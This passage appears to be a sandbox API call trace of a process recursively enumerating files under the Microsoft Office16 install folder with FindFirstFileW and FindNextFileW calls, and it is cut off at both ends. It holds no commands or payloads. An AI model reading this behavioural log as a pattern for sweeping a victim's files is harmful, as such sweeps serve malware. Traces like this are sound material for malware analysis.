ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f8c60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="csi.dll", cAlternateFileName="")) returned 1 [0283.141] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf2dd35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4e270, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CSIRESOURCES.DLL", cAlternateFileName="CSIRES~1.DLL")) returned 1 [0283.141] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4cab791, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4cab791, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd8a5d714, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x904f8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~1.DLL")) returned 1 [0283.141] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4cd1a25, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4cd1a25, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd8a5d714, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbacf8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CSS7DATA000A.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1 [0283.142] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4cab791, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4cab791, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd8a8396f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba890, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CSS7DATA000C.DLL", cAlternateFileName="CSS7DA~2.DLL")) returned 1 [0283.142] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d1e5ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Custom.propdesc", cAlternateFileName="CUSTOM~1.PRO")) returned 1 [0283.142] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x85cb0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DATAGATH.DLL", cAlternateFileName="")) returned 1 [0283.142] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0b2f3e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde2222ea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0283.142] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x122a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DBWIZ.DLL", cAlternateFileName="")) returned 1 [0283.142] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6d9e0b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f8b8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DLGSETP.DLL", cAlternateFileName="")) returned 1 [0283.142] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Document Parts", cAlternateFileName="DOCUME~1")) returned 1 [0283.142] GetProcessHeap () returned 0xaf0000 [0283.142] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.143] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.144] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0283.144] GetProcessHeap () returned 0xaf0000 [0283.144] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0283.145] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.145] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0283.145] GetProcessHeap () returned 0xaf0000 [0283.145] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0283.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\16\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0283.146] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.146] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4db6809, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4db6809, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0283.146] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4db6809, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4db6809, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 0 [0283.146] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0283.146] GetProcessHeap () returned 0xaf0000 [0283.146] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0283.146] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0283.146] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0283.146] GetProcessHeap () returned 0xaf0000 [0283.146] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.146] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0283.146] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0283.146] GetProcessHeap () returned 0xaf0000 [0283.146] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.148] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0283.148] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3e7feda, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x344a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DWGCNV.DLL", cAlternateFileName="")) returned 1 [0283.148] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4e2564e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x899050, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DWGDP.DLL", cAlternateFileName="")) returned 1 [0283.148] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1beddbb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1beddbb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1beddbb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x374a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ELECTRICAL.VSL", cAlternateFileName="ELECTR~1.VSL")) returned 1 [0283.149] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25cc8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="EMABLT32.DLL", cAlternateFileName="")) returned 1 [0283.149] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb141e15, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5d10a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="EMSMDB32.DLL", cAlternateFileName="")) returned 1 [0283.149] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d4481d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="EntityDataHandler.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1 [0283.149] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d4481d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50a60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="EntityPicker.dll", cAlternateFileName="ENTITY~2.DLL")) returned 1 [0283.149] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4cfbc75, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ac68, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ENVELOPE.DLL", cAlternateFileName="")) returned 1 [0283.149] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2fe923e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4264503, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd52eea7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20d8840, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="EXCEL.EXE", cAlternateFileName="")) returned 1 [0283.149] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc54b7686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc54b7686, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc54dd8eb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x61f, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="excel.exe.manifest", cAlternateFileName="EXCELE~1.MAN")) returned 1 [0283.149] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d4481d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="EXCEL.VisualElementsManifest.xml", cAlternateFileName="EXCELV~1.XML")) returned 1 [0283.150] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1c8beb8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee3a0b07, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cc72a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="excelcnv.exe", cAlternateFileName="")) returned 1 [0283.150] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe238cd90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe238cd90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe24be028, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x62c, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="excelcnv.exe.manifest", cAlternateFileName="EXCELC~1.MAN")) returned 1 [0283.150] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16440, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="excelcnvpxy.dll", cAlternateFileName="EXCELC~1.DLL")) returned 1 [0283.150] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d4481d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67030, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="EXSEC32.DLL", cAlternateFileName="")) returned 1 [0283.150] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d1e5ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1469b, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ExtensibleApp.xap", cAlternateFileName="EXTENS~1.XAP")) returned 1 [0283.150] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x16da48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="FACILITY.DLL", cAlternateFileName="")) returned 1 [0283.150] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ccc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="FilterModule.dll", cAlternateFileName="FILTER~1.DLL")) returned 1 [0283.152] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2497e17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2497e17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2687c83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc5640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="FIRSTRUN.EXE", cAlternateFileName="")) returned 1 [0283.152] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x190c9cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="FIRSTRUN.VisualElementsManifest.xml", cAlternateFileName="FIRSTR~1.XML")) returned 1 [0283.152] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, 